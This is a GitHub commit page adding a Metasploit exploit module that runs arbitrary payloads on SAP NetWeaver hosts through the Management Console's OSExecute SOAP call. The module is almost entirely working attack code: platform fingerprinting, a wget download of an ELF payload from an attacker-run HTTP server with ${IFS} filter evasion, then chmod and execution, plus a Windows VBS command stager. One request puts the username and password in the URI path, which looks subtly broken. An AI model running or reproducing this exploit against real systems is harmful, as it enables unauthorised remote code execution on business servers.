Skip to content

Commit 41e9f35

Browse files
committed
Landing rapid7#1819 - Convert sap_mgmt_con_osexec_payload to multi platform
2 parents 9427dfa + ce594a3 commit 41e9f35

File tree

2 files changed

+364
-0
lines changed

2 files changed

+364
-0
lines changed
Lines changed: 359 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,359 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::Remote::HttpServer
17+
include Msf::Exploit::CmdStagerVBS
18+
include Msf::Exploit::EXE
19+
include Msf::Exploit::FileDropper
20+
21+
def initialize(info = {})
22+
super(update_info(info,
23+
'Name' => 'SAP Management Console OSExecute Payload Execution',
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Chris John Riley', # Original module, windows target
28+
'juan vazquez' # Linux target
29+
],
30+
'Description' => %q{
31+
This module executes an arbitrary payload through the SAP Management Console
32+
SOAP Interface. A valid username and password for the SAP Management Console must
33+
be provided. This module has been tested successfully on both Windows and Linux
34+
platforms running SAP Netweaver. In order to exploit a Linux platform, the target
35+
system must have available the wget command.
36+
},
37+
'References' =>
38+
[
39+
[ 'URL', 'http://blog.c22.cc/toolsscripts/metasploit-modules/sap_mgmt_con_osexecute/' ]
40+
],
41+
'Privileged' => false,
42+
'DefaultOptions' =>
43+
{
44+
},
45+
'Payload' =>
46+
{
47+
'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
48+
},
49+
'Platform' => ['win', 'linux'],
50+
'Targets' =>
51+
[
52+
[ 'Linux',
53+
{
54+
'Arch' => ARCH_X86,
55+
'Platform' => 'linux'
56+
}
57+
],
58+
[ 'Windows Universal',
59+
{
60+
'Arch' => ARCH_X86,
61+
'Platform' => 'win'
62+
},
63+
],
64+
],
65+
'DefaultTarget' => 0,
66+
'DisclosureDate' => 'Mar 08 2011'
67+
))
68+
69+
register_options(
70+
[
71+
Opt::RPORT(50013),
72+
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
73+
OptString.new('USERNAME', [true, 'Username to use', '']),
74+
OptString.new('PASSWORD', [true, 'Password to use', '']),
75+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the Linux payload from' ]),
76+
OptString.new('DOWNFILE', [ false, 'Filename to download when using Linux target, (default: random)' ]),
77+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
78+
], self.class)
79+
register_advanced_options(
80+
[
81+
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
82+
], self.class)
83+
register_autofilter_ports([ 50013 ])
84+
end
85+
86+
def autofilter
87+
false
88+
end
89+
90+
def check
91+
begin
92+
res = send_soap_request("")
93+
rescue ::Rex::ConnectionError
94+
return Exploit::CheckCode::Safe
95+
end
96+
97+
if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/
98+
return Exploit::CheckCode::Vulnerable
99+
elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/)
100+
return Exploit::CheckCode::Detected
101+
elsif res and res.headers['Server'] =~ /gSOAP/
102+
return Exploit::CheckCode::Unknown
103+
end
104+
105+
return Exploit::CheckCode::Safe
106+
end
107+
108+
def exploit
109+
print_status("#{rhost}:#{rport} - Auto Detecting Remote Platform...")
110+
my_platform = auto_detect
111+
if my_platform.nil?
112+
print_error("#{rhost}:#{rport} - Remote Platform not detected, continue anyway...")
113+
elsif target['Platform'] == my_platform
114+
print_good("#{rhost}:#{rport} - #{target.name} successfully detected...")
115+
else
116+
print_error("#{rhost}:#{rport} - #{target.name} not detected, but #{my_platform}, continue anyway...")
117+
end
118+
119+
if target.name =~ /Windows/
120+
print_status("#{rhost}:#{rport} - Connecting to SAP Management Console SOAP Interface...")
121+
linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
122+
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 7500
123+
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
124+
elsif target.name =~ /Linux/
125+
exploit_linux
126+
end
127+
end
128+
129+
def auto_detect
130+
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
131+
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
132+
xs = 'http://www.w3.org/2001/XMLSchema'
133+
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
134+
ns1 = 'ns1:GetEnvironment'
135+
136+
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
137+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
138+
data << '" xmlns:xs="' + xs + '">' + "\r\n"
139+
data << '<SOAP-ENV:Header>' + "\r\n"
140+
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
141+
data << '<enableSession>true</enableSession>' + "\r\n"
142+
data << '</sapsess:Session>' + "\r\n"
143+
data << '</SOAP-ENV:Header>' + "\r\n"
144+
data << '<SOAP-ENV:Body>' + "\r\n"
145+
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
146+
data << '</SOAP-ENV:Body>' + "\r\n"
147+
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
148+
149+
begin
150+
res = send_request_cgi({
151+
'uri' => normalize_uri(datastore['URI']),
152+
'method' => 'POST',
153+
'data' => data,
154+
'ctype' => 'text/xml; charset=UTF-8',
155+
'headers' =>
156+
{
157+
'SOAPAction' => '""'
158+
}
159+
})
160+
161+
if res and res.code == 200 and res.body =~ /OSTYPE=linux/
162+
return "linux"
163+
elsif res and res.code == 200 and res.body =~ /OS=Windows/
164+
return "win"
165+
else
166+
return nil
167+
end
168+
rescue ::Rex::ConnectionError
169+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
170+
end
171+
172+
end
173+
174+
def send_soap_request(command)
175+
176+
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
177+
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
178+
xs = 'http://www.w3.org/2001/XMLSchema'
179+
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
180+
ns1 = 'ns1:OSExecute'
181+
182+
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
183+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
184+
data << '<SOAP-ENV:Header>' + "\r\n"
185+
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
186+
data << '<enableSession>true</enableSession>' + "\r\n"
187+
data << '</sapsess:Session>' + "\r\n"
188+
data << '</SOAP-ENV:Header>' + "\r\n"
189+
data << '<SOAP-ENV:Body>' + "\r\n"
190+
data << "<#{ns1} xmlns:ns1=\"urn:SAPControl\"><command>#{command}</command>"
191+
data << '<async>0</async></' + ns1 + '>' + "\r\n"
192+
data << '</SOAP-ENV:Body>' + "\r\n"
193+
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
194+
195+
res = send_request_cgi({
196+
'uri' => normalize_uri(datastore['USERNAME'], datastore['PASSWORD']),
197+
'method' => 'POST',
198+
'data' => data,
199+
'ctype' => 'text/xml; charset=UTF-8',
200+
'headers' =>
201+
{
202+
'SOAPAction' => '""'
203+
}
204+
})
205+
return res
206+
end
207+
208+
def exploit_linux
209+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
210+
@pl = generate_payload_exe
211+
@elf_sent = false
212+
213+
#
214+
# start our server
215+
#
216+
resource_uri = '/' + downfile
217+
218+
if (datastore['DOWNHOST'])
219+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
220+
else
221+
#do not use SSL
222+
if datastore['SSL']
223+
ssl_restore = true
224+
datastore['SSL'] = false
225+
end
226+
227+
#we use SRVHOST as download IP for the coming wget command.
228+
#SRVHOST needs a real IP address of our download host
229+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
230+
srv_host = Rex::Socket.source_address(rhost)
231+
else
232+
srv_host = datastore['SRVHOST']
233+
end
234+
235+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
236+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
237+
start_service({'Uri' => {
238+
'Proc' => Proc.new { |cli, req|
239+
on_request_uri(cli, req)
240+
},
241+
'Path' => resource_uri
242+
}})
243+
244+
datastore['SSL'] = true if ssl_restore
245+
end
246+
247+
#
248+
# download payload
249+
#
250+
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to download #{service_url}")
251+
#this filename is used to store the payload on the device
252+
filename = rand_text_alpha_lower(8)
253+
254+
#not working if we send all command together -> lets take three requests
255+
cmd = "wget #{service_url} -O /tmp/#{filename}"
256+
cmd.gsub!(/ /, "${IFS}")
257+
begin
258+
res = send_soap_request("/bin/sh -c #{cmd}")
259+
rescue ::Rex::ConnectionError
260+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
261+
end
262+
handle_response(res)
263+
264+
# wait for payload download
265+
if (datastore['DOWNHOST'])
266+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the SAP Management Console to download the payload")
267+
select(nil, nil, nil, datastore['HTTP_DELAY'])
268+
else
269+
wait_linux_payload
270+
end
271+
register_file_for_cleanup("/tmp/#{filename}")
272+
273+
#
274+
# chmod
275+
#
276+
cmd = "chmod 777 /tmp/#{filename}"
277+
cmd.gsub!(/ /, "${IFS}")
278+
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to chmod /tmp/#{filename}")
279+
begin
280+
res = send_soap_request("/bin/sh -c #{cmd}")
281+
rescue ::Rex::ConnectionError
282+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
283+
end
284+
handle_response(res)
285+
286+
#
287+
# execute
288+
#
289+
cmd = "/tmp/#{filename}"
290+
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to execute /tmp/#{filename}")
291+
begin
292+
res = send_soap_request("/bin/sh -c #{cmd}")
293+
rescue ::Rex::ConnectionError
294+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
295+
end
296+
handle_response(res)
297+
end
298+
299+
# Handle incoming requests from the server
300+
def on_request_uri(cli, request)
301+
#print_status("on_request_uri called: #{request.inspect}")
302+
if (not @pl)
303+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
304+
return
305+
end
306+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
307+
@elf_sent = true
308+
send_response(cli, @pl)
309+
end
310+
311+
# wait for the data to be sent
312+
def wait_linux_payload
313+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
314+
315+
waited = 0
316+
while (not @elf_sent)
317+
select(nil, nil, nil, 1)
318+
waited += 1
319+
if (waited > datastore['HTTP_DELAY'])
320+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
321+
end
322+
end
323+
end
324+
325+
# This is method required for the Windows CmdStager to work
326+
def execute_command(cmd, opts)
327+
328+
cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
329+
if cmd_s.length > 1
330+
vprint_status("#{rhost}:#{rport} - Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
331+
end
332+
333+
cmd_s = cmd_s.collect(&:strip)
334+
cmd_s.each do |payload|
335+
begin
336+
res = send_soap_request("cmd /c #{payload.strip}")
337+
rescue ::Rex::ConnectionError
338+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
339+
end
340+
handle_response(res)
341+
end
342+
end
343+
344+
def handle_response(res)
345+
if (res and res.code != 500 and res.code != 200)
346+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
347+
elsif res and res.code == 500
348+
body = res.body
349+
if body.match(/Invalid Credentials/i)
350+
print_error("#{rhost}:#{rport} - The Supplied credentials are incorrect")
351+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
352+
elsif body.match(/Permission denied/i)
353+
print_error("#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions")
354+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
355+
end
356+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
357+
end
358+
end
359+
end

modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,11 @@
88
require 'msf/core'
99

1010
class Metasploit4 < Msf::Exploit::Remote
11+
12+
require 'msf/core/module/deprecated'
13+
include Msf::Module::Deprecated
14+
deprecated Date.new(2013, 12, 1), "exploit/multi/sap/sap_mgmt_con_osexec_payload"
15+
1116
Rank = ExcellentRanking
1217

1318
HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }

0 commit comments

Comments
 (0)